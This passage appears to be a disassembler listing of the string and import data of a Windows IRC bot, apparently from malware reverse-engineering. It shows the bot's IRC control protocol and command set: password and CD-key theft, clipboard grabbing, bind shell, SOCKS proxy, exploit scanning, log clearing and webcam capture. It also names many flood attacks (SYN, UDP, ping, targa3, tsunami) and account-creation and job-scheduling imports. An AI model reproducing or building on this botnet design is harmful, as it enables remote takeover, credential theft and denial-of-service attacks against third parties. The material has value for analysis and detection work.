2Dh ; - ; DATA XREF: sub_401ACD+1D0Fo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToSta_30 db 'Failed to start search thread, error: <%d>.',0 unk_42C6E8 db 2Dh ; - ; DATA XREF: sub_401ACD+1C95o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aSearchingForPa db 'Searching for password.',0 aFp db 'fp',0 ; DATA XREF: sub_401ACD+1C4Co align 4 aFindpass db 'findpass',0 ; DATA XREF: sub_401ACD+1C3Bo align 10h aNoticeSPhoning db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C28o align 4 aPhonehome db 'phonehome',0 ; DATA XREF: sub_401ACD+1C11o align 10h aScanall db 'scanall',0 ; DATA XREF: sub_401ACD+1BE7o dword_42C758 dd 234032Dh, 6E69616Dh, 202D0302h, 73617243h, 676E6968h ; DATA XREF: sub_401ACD+1B97o dd 746F6220h, 2Eh aCrash db 'crash',0 ; DATA XREF: sub_401ACD+1B81o ; sub_401ACD+1BD1o align 4 aTftp db 'tftp',0 ; DATA XREF: sub_401ACD+1B6Co align 4 aTftpserver db 'tftpserver',0 ; DATA XREF: sub_401ACD+1B57o align 10h aHttp db 'http',0 ; DATA XREF: sub_401ACD+1B42o align 4 aHttpserver db 'httpserver',0 ; DATA XREF: sub_401ACD+1B2Do align 4 aRlogin db 'rlogin',0 ; DATA XREF: sub_401ACD+1B18o align 4 aRloginserver db 'rloginserver',0 ; DATA XREF: sub_401ACD+1B03o align 4 aCip db 'cip',0 ; DATA XREF: sub_401ACD+1AEEo aCurrentip db 'currentip',0 ; DATA XREF: sub_401ACD+1AD9o align 4 aFdns db 'fdns',0 ; DATA XREF: sub_401ACD+1AC4o align 4 aFlushdns db 'flushdns',0 ; DATA XREF: sub_401ACD+1AAFo align 10h aFarp db 'farp',0 ; DATA XREF: sub_401ACD+1A9Ao align 4 aFlusharp db 'flusharp',0 ; DATA XREF: sub_401ACD+1A85o align 4 aGc db 'gc',0 ; DATA XREF: sub_401ACD+1A70o align 4 aGetclip db 'getclip',0 ; DATA XREF: sub_401ACD+1A5Bo unk_42C800 db 2Dh ; - ; DATA XREF: sub_401ACD+1A1Do db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingDisabl db ' Spoofing disabled.',0 aOff db 'off',0 ; DATA XREF: sub_401ACD+1A02o ; sub_401ACD+3CAFo ... aSpoof db 'spoof',0 ; DATA XREF: sub_401ACD+19EBo align 4 unk_42C834 db 2Dh ; - ; DATA XREF: sub_401ACD+19CDo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aLoginListCompl db 'Login list complete.',0 align 4 aD_S db '%d. %s',0 ; DATA XREF: sub_401ACD+1995o ; sub_40B1B3+46o align 10h aEmpty db '<Empty>',0 ; DATA XREF: sub_401ACD:loc_403453o dword_42C868 dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh ; DATA XREF: sub_401ACD+195Bo dword_42C87C dd 6F6877h ; DATA XREF: sub_401ACD+193Eo dword_42C880 dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+1933o dword_42C88C dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ; DATA XREF: sub_401ACD+192Eo aCmdstop db 'cmdstop',0 ; DATA XREF: sub_401ACD+1915o aOcmd db 'ocmd',0 ; DATA XREF: sub_401ACD+1900o align 4 aOpencmd db 'opencmd',0 ; DATA XREF: sub_401ACD+18EBo aDll db 'dll',0 ; DATA XREF: sub_401ACD+18D6o aTestdlls db 'testdlls',0 ; DATA XREF: sub_401ACD+18C1o align 4 aDrv db 'drv',0 ; DATA XREF: sub_401ACD+18ACo aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_401ACD+1897o align 4 aUp db 'up',0 ; DATA XREF: sub_401ACD+1882o align 4 aUptime db 'uptime',0 ; DATA XREF: sub_401ACD+186Do align 10h aKey db 'key',0 ; DATA XREF: sub_401ACD+1858o aGetcdkeys db 'getcdkeys',0 ; DATA XREF: sub_401ACD+1843o align 10h aPs db 'ps',0 ; DATA XREF: sub_401ACD+182Eo align 4 aProcs db 'procs',0 ; DATA XREF: sub_401ACD+1819o align 4 aLsp100 db 'lsp100',0 ; DATA XREF: sub_401ACD+17EFo ; sub_401ACD+1804o align 4 aSi db 'si',0 ; DATA XREF: sub_401ACD+17DAo align 4 aSysinfo db 'sysinfo',0 ; DATA XREF: sub_401ACD+17C5o aNi db 'ni',0 ; DATA XREF: sub_401ACD+17B0o align 4 aNetinfo db 'netinfo',0 ; DATA XREF: sub_401ACD+179Bo aClg db 'clg',0 ; DATA XREF: sub_401ACD+1786o aClearlog db 'clearlog',0 ; DATA XREF: sub_401ACD+1771o align 4 aLg db 'lg',0 ; DATA XREF: sub_401ACD+175Co align 10h aLog db 'log',0 ; DATA XREF: sub_401ACD+1747o aAl db 'al',0 ; DATA XREF: sub_401ACD+1732o align 4 aAliases db 'aliases',0 ; DATA XREF: sub_401ACD+171Do aT: ; DATA XREF: sub_401ACD+1708o ; .packed:004382C8o ... unicode 0, <t>,0 aThreads db 'threads',0 ; DATA XREF: sub_401ACD+16F3o unk_42C94C db 2Dh ; - ; DATA XREF: sub_401ACD+16BFo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedToReboot db 'Failed to reboot system.',0 align 4 unk_42C974 db 2Dh ; - ; DATA XREF: sub_401ACD+16B8o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRebootingSyste db 'Rebooting system.',0 align 4 aReboot db 'reboot',0 ; DATA XREF: sub_401ACD+16A1o align 4 aI: ; DATA XREF: sub_401ACD+168Co ; .packed:004382D4o ... unicode 0, <i>,0 aId db 'id',0 ; DATA XREF: sub_401ACD+1677o align 4 aS_1: ; DATA XREF: sub_401ACD+1662o ; .packed:004382E0o ... unicode 0, <s>,0 aStatus db 'status',0 ; DATA XREF: sub_401ACD+164Do align 10h aQ: ; DATA XREF: sub_401ACD+1638o ; .packed:off_4382B8o ... unicode 0, <q>,0 aQuit_0 db 'quit',0 ; DATA XREF: sub_401ACD+1623o align 4 aDc db 'dc',0 ; DATA XREF: sub_401ACD+160Eo align 10h aDisconnect db 'disconnect',0 ; DATA XREF: sub_401ACD+15F9o align 4 aR: ; DATA XREF: sub_401ACD+15E4o ; sub_401ACD+3DA8o ... unicode 0, <r>,0 aReconnect db 'reconnect',0 ; DATA XREF: sub_401ACD+15CFo align 4 aExplist db 'explist',0 ; DATA XREF: sub_401ACD+15BAo aExploitlist db 'exploitlist',0 ; DATA XREF: sub_401ACD+15A5o aCbstats db 'cbstats',0 ; DATA XREF: sub_401ACD+1590o aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_401ACD+157Bo align 4 aTrstats db 'trstats',0 ; DATA XREF: sub_401ACD+1566o aTransferstats db 'transferstats',0 ; DATA XREF: sub_401ACD+1551o align 4 aStats db 'stats',0 ; DATA XREF: sub_401ACD+153Co align 4 aScanstats db 'scanstats',0 ; DATA XREF: sub_401ACD+1527o align 4 dword_42CA38 dd 234032Dh, 6E616373h, 2D0302h ; DATA XREF: sub_401ACD+151Co aScan_0 db 'Scan',0 ; DATA XREF: sub_401ACD+1517o align 4 aScanstop db 'scanstop',0 ; DATA XREF: sub_401ACD+14FEo align 4 dword_42CA58 dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: sub_401ACD+14F3o aSecure_0 db 'Secure',0 ; DATA XREF: sub_401ACD+14EEo align 10h aSecurestop db 'securestop',0 ; DATA XREF: sub_401ACD+14D5o align 4 dword_42CA7C dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: sub_401ACD+14CAo aClone db 'Clone',0 ; DATA XREF: sub_401ACD+14C5o align 4 aClonestop db 'clonestop',0 ; DATA XREF: sub_401ACD+14ACo align 10h aPsstop db 'psstop',0 ; DATA XREF: sub_401ACD+1497o align 4 aProcsstop db 'procsstop',0 ; DATA XREF: sub_401ACD+1482o align 4 aFfstop db 'ffstop',0 ; DATA XREF: sub_401ACD+146Do align 4 aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_401ACD+1458o align 4 dword_42CACC dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: sub_401ACD+144Do aTftpstop db 'tftpstop',0 ; DATA XREF: sub_401ACD+142Fo align 4 aPingstop db 'pingstop',0 ; DATA XREF: sub_401ACD+1406o align 4 aUdpstop db 'udpstop',0 ; DATA XREF: sub_401ACD+13DDo aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_401ACD+13B4o align 4 aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_401ACD+138Bo unk_42CB14 db 2Dh ; - ; DATA XREF: sub_401ACD+1371o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aAllPacketingAc db 'All packeting activity has been halted.',0 dword_42CB48 dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401ACD+1336o ; sub_401ACD+13D2o dword_42CB58 dd 64736957h, 61206D6Fh, 63617474h, 6Bh ; DATA XREF: sub_401ACD+1331o ; sub_401ACD+13CDo dword_42CB68 dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401ACD+1318o ; sub_401ACD+13A9o dword_42CB78 dd 6E757354h, 20696D61h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1313o ; sub_401ACD+13A4o dword_42CB88 dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401ACD+12B8o ; sub_401ACD+1424o dword_42CB94 dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+12B3o ; sub_401ACD+141Fo dword_42CBA0 dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+129Ao ; sub_401ACD+13FBo dword_42CBAC dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1295o ; sub_401ACD+13F6o aPacketstop db 'packetstop',0 ; DATA XREF: sub_401ACD+1235o align 4 dword_42CBC4 dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401ACD+122Ao ; sub_401ACD+12F7o dword_42CBD0 dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1225o ; sub_401ACD+12F2o aWonkstop db 'wonkstop',0 ; DATA XREF: sub_401ACD+120Co align 4 dword_42CBE8 dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401ACD+1201o ; sub_401ACD+12D9o dword_42CBF8 dd 67726154h, 66203361h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11FCo ; sub_401ACD+12D4o aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_401ACD+11E3o align 4 dword_42CC14 dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401ACD+11D8o ; sub_401ACD+1357o dword_42CC24 dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11D3o ; sub_401ACD+1352o aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_401ACD+11BAo align 10h dword_42CC40 dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+11AFo ; sub_401ACD+1279o dword_42CC4C dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+11AAo ; sub_401ACD+1274o aSynstop db 'synstop',0 ; DATA XREF: sub_401ACD+1191o dword_42CC60 dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401ACD+1186o ; sub_401ACD+125Bo dword_42CC6C dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1181o ; sub_401ACD+1256o dword_42CC78 dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1168o dword_42CC84 dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: sub_401ACD+115Do dword_42CC94 dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_401ACD+1158o aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_401ACD+113Fo align 4 dword_42CCB4 dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1134o dword_42CCC0 dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_401ACD+112Fo aLogstop db 'logstop',0 ; DATA XREF: sub_401ACD+1116o dword_42CCD4 dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: sub_401ACD+110Bo aHttpstop db 'httpstop',0 ; DATA XREF: sub_401ACD+10EDo align 10h dword_42CCF0 dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: sub_401ACD+10E2o aRloginstop db 'rloginstop',0 ; DATA XREF: sub_401ACD+10C4o align 4 dword_42CD0C dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: sub_401ACD+10BCo aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_401ACD+109Eo align 4 aS4 db 's4',0 ; DATA XREF: sub_401ACD+1089o align 4 aSocks4 db 'socks4',0 ; DATA XREF: sub_401ACD+1074o align 4 dword_42CD34 dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0 ; DATA XREF: sub_401ACD+1052o aServer_0 db 'Server',0 ; DATA XREF: sub_401ACD+104Do ; sub_401ACD+10B7o ... align 10h aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_401ACD+1034o align 10h aBd db 'bd',0 ; DATA XREF: sub_401ACD+101Fo align 4 aBindshell db 'bindshell',0 ; DATA XREF: sub_401ACD+100Ao align 10h aUnsec db 'unsec',0 ; DATA XREF: sub_401ACD+FF5o align 4 aUnsecure db 'unsecure',0 ; DATA XREF: sub_401ACD+FE0o align 4 aSec db 'sec',0 ; DATA XREF: sub_401ACD+FCBo ; sub_401ACD+2D69o aSecure db 'secure',0 ; DATA XREF: sub_401ACD+FB6o ; sub_401ACD+2D58o align 10h aSt db 'st',0 ; DATA XREF: sub_401ACD+FA1o align 4 aSpeedtest db 'speedtest',0 ; DATA XREF: sub_401ACD+F8Co align 10h aDed db 'ded',0 ; DATA XREF: sub_401ACD+F77o aDedication db 'dedication',0 ; DATA XREF: sub_401ACD+F62o align 10h aVer db 'ver',0 ; DATA XREF: sub_401ACD+F4Do aVersion db 'version',0 ; DATA XREF: sub_401ACD+F38o aLo db 'lo',0 ; DATA XREF: sub_401ACD+F23o align 10h aLogout db 'logout',0 ; DATA XREF: sub_401ACD+F0Eo align 4 aD: ; DATA XREF: sub_401ACD+EF9o ; .packed:004382E4o ... unicode 0, <d>,0 aDie db 'die',0 ; DATA XREF: sub_401ACD+EE4o aRn db 'rn',0 ; DATA XREF: sub_401ACD+ECFo align 4 aRndnick db 'rndnick',0 ; DATA XREF: sub_401ACD+EB7o a63 db '63',0 ; DATA XREF: sub_401ACD+D84o align 10h asc_42CDE0: ; DATA XREF: sub_401ACD+D5Co unicode 0, <)>,0 aChr db '$chr(',0 ; DATA XREF: sub_401ACD+D1Fo align 4 aServer_1 db '$server',0 ; DATA XREF: sub_401ACD+D14o aRndnick_0 db '$rndnick',0 ; DATA XREF: sub_401ACD+D03o align 10h aChan db '$chan',0 ; DATA XREF: sub_401ACD+CE7o align 4 aUser_0 db '$user',0 ; DATA XREF: sub_401ACD+CD6o align 10h aMe db '$me',0 ; DATA XREF: sub_401ACD+CC4o aD_0 db '$%d',0 ; DATA XREF: sub_401ACD+C56o aD_1 db '$%d-',0 ; DATA XREF: sub_401ACD+B92o align 10h aK: ; DATA XREF: sub_401ACD+AA6o ; sub_401ACD+3DD2o ... unicode 0, <k>,0 unk_42CE24 db 2Dh ; - ; DATA XREF: sub_401ACD+A80o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0 align 4 unk_42CE58 db 2Dh ; - ; DATA XREF: sub_401ACD+A6Fo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatAlreadyAct db '- Chat already active with user: %s.',0 align 4 unk_42CE88 db 2Dh ; - ; DATA XREF: sub_401ACD+A5Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_31 db '- Failed to start chat thread, error: <%d>.',0 align 10h unk_42CEC0 db 2Dh ; - ; DATA XREF: sub_401ACD+9EFo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFromUserS_ db '- Chat from user: %s.',0 align 10h aChat db 'CHAT',0 ; DATA XREF: sub_401ACD+958o align 4 unk_42CEE8 db 2Dh ; - ; DATA XREF: sub_401ACD+938o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0 align 4 unk_42CF2C db 2Dh ; - ; DATA XREF: sub_401ACD+920o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_32 db '- Failed to start transfer thread, error: <%d>.',0 align 4 dword_42CF68 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_401ACD+90Fo dd 0A0Dh dword_42CF80 dd 4E495001h, 47h ; DATA XREF: sub_401ACD+8DBo dword_42CF88 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_401ACD+8D0o dd 0D017325h, 0Ah dword_42CFA4 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_401ACD+89Fo dword_42CFB0 dd 23h ; DATA XREF: sub_401ACD+816o ; sub_40CA7F+1Bo unk_42CFB4 db 2Dh ; - ; DATA XREF: sub_401ACD+785o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0 align 4 aS_4 db '%s',0 ; DATA XREF: sub_401ACD+706o ; sub_401ACD+995o ... align 4 aSend_0 db 'SEND',0 ; DATA XREF: sub_401ACD+6DFo align 10h dword_42CFF0 dd 43434401h, 0 ; DATA XREF: sub_401ACD+6C1o dword_42CFF8 dd 323333h ; DATA XREF: sub_401ACD+64Bo ; sub_401ACD+ADCo ... aNotice db 'NOTICE',0 ; DATA XREF: sub_401ACD+629o ; sub_409A72+Fo align 4 aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401ACD+61Do ; sub_409A72+16o unk_42D00C db 2Dh ; - ; DATA XREF: sub_401ACD+5CCo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedOut db 'User: %s logged out.',0 align 10h unk_42D030 db 2Dh ; - ; DATA XREF: sub_401ACD+5A5o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChanne_0 db 'Joined channel: %s.',0 a353 db '353',0 ; DATA XREF: sub_401ACD+574o aQuit db 'QUIT',0 ; DATA XREF: sub_401ACD+537o ; sub_40E991+5DEo align 4 aPart db 'PART',0 ; DATA XREF: sub_401ACD+526o ; sub_401ACD+5E9o align 4 aSS db ':%s%s',0 ; DATA XREF: sub_401ACD+4FEo align 4 aNick db 'NICK',0 ; DATA XREF: sub_401ACD+3D0o align 4 aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o ; sub_401ACD+60Do unk_42D084 db 2Dh ; - ; DATA XREF: sub_401ACD+355o ; sub_401ACD+2EBCo ... db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedO_0 db 'User %s logged out.',0 aKick db 'KICK',0 ; DATA XREF: sub_401ACD+2E4o align 4 aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+28Do ; sub_401ACD+7C8Eo ... align 4 a433 db '433',0 ; DATA XREF: sub_401ACD+262o ; sub_4177CF:loc_417837o a@: ; DATA XREF: sub_401ACD+23Ao unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_401ACD+22Ao a005 db '005',0 ; DATA XREF: sub_401ACD+215o a001 db '001',0 ; DATA XREF: sub_401ACD+200o aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o ; sub_401ACD+3B7o ... align 4 aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C3o align 4 aPing db 'PING',0 ; DATA XREF: sub_401ACD+1A9o ; sub_4177CF+50o align 10h asc_42D0F0: ; DATA XREF: sub_401ACD+19Ao ; sub_401ACD+7DADo unicode 0, <!>,0 asc_42D0F4: ; DATA XREF: sub_401ACD+A8o ; sub_401ACD+E5Co ... unicode 0, < >,0 asc_42D0F8 db ' :',0 ; DATA XREF: sub_401ACD+86o ; sub_401ACD:loc_402601o align 4 aSSS_0 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409A72+5Do aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409B12+C7Fo align 4 aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409B12+C77o aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_409B12:loc_40A77Co align 4 aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_409B12+C15o align 4 aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_409B12+C08o align 4 aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_409B12+BFBo align 4 aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_409B12+BEEo align 4 aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_409B12+BE1o align 4 aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_409B12+BD9o align 10h aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_409B12:loc_40A6DEo align 4 aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_409B12+B97o align 4 aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_409B12+B8Fo align 4 aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_409B12:loc_40A694o aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409B12+B3Do align 10h aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409B12+B30o align 4 aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_409B12+B23o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_409B12+B1Bo aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_409B12:loc_40A620o aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409B12+AD9o align 4 aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_409B12+AD1o align 4 aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_409B12:loc_40A5D6o align 4 aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409B12+A8Fo align 4 aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409B12+A87o align 4 aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_409B12:loc_40A58Co align 10h aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_409B12+9F9o aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_409B12+9ECo ; sub_4185A4+65o align 4 aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_409B12+9DFo align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_409B12+9D2o aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_409B12+9C5o align 10h aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_409B12+9B8o align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_409B12+9ABo align 4 aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_409B12+99Eo align 10h aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409B12+991o align 4 aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_409B12+984o align 4 aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_409B12+977o aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_409B12+96Fo aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_409B12:loc_40A470o ; sub_4185A4+58o align 4 aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409B12+921o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409B12+914o aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409B12+90Co align 4 aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_409B12:loc_40A411o align 4 aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409B12+8D2o align 4 aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_409B12+860o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_409B12+853o align 4 aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_409B12+846o align 10h aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_409B12+839o align 4 aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_409B12+82Co align 4 aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_409B12+81Fo align 4 aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_409B12+812o align 4 aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_409B12+805o align 10h aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409B12+7F8o aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_409B12+7F0o align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_409B12:loc_40A2F1o aClosesocket db 'closesocket',0 ; DATA XREF: sub_409B12+6A6o aGetpeername db 'getpeername',0 ; DATA XREF: sub_409B12+699o aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_409B12+68Co align 4 aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_409B12+67Fo align 4 aGethostname db 'gethostname',0 ; DATA XREF: sub_409B12+672o aGetsockname db 'getsockname',0 ; DATA XREF: sub_409B12+665o aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_409B12+658o align 10h aAccept db 'accept',0 ; DATA XREF: sub_409B12+64Bo align 4 aListen db 'listen',0 ; DATA XREF: sub_409B12+63Eo align 10h aSelect db 'select',0 ; DATA XREF: sub_409B12+631o align 4 aBind db 'bind',0 ; DATA XREF: sub_409B12+629o align 10h aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_409B12+617o align 4 aRecv db 'recv',0 ; DATA XREF: sub_409B12+60Ao align 4 aSendto db 'sendto',0 ; DATA XREF: sub_409B12+5FDo align 4 aNtohl db 'ntohl',0 ; DATA XREF: sub_409B12+5E3o align 4 aNtohs db 'ntohs',0 ; DATA XREF: sub_409B12+5D6o align 4 aHtonl db 'htonl',0 ; DATA XREF: sub_409B12+5C9o align 4 aHtons db 'htons',0 ; DATA XREF: sub_409B12+5BCo align 4 aInet_addr db 'inet_addr',0 ; DATA XREF: sub_409B12+5AFo align 4 aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_409B12+5A2o align 4 aConnect db 'connect',0 ; DATA XREF: sub_409B12+595o aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_409B12+588o aSocket db 'socket',0 ; DATA XREF: sub_409B12+57Bo align 10h aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_409B12+56Eo align 4 aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_409B12+561o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_409B12+554o align 4 a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_409B12+547o align 4 aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_409B12+53Ao align 4 aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_409B12+52Do align 4 aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_409B12+525o align 10h aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_409B12+514o align 4 aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_409B12+4A1o align 4 aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_409B12+494o align 4 aBitblt db 'BitBlt',0 ; DATA XREF: sub_409B12+487o align 10h aSelectobject db 'SelectObject',0 ; DATA XREF: sub_409B12+47Ao align 10h aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_409B12+46Do align 4 aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_409B12+460o align 4 aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_409B12+453o align 4 aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_409B12+446o align 4 aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_409B12+43Eo align 4 aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_409B12:loc_409F3Fo align 4 aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_409B12:loc_409F17o align 4 aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409B12+3ADo align 10h aEnumservicesst db 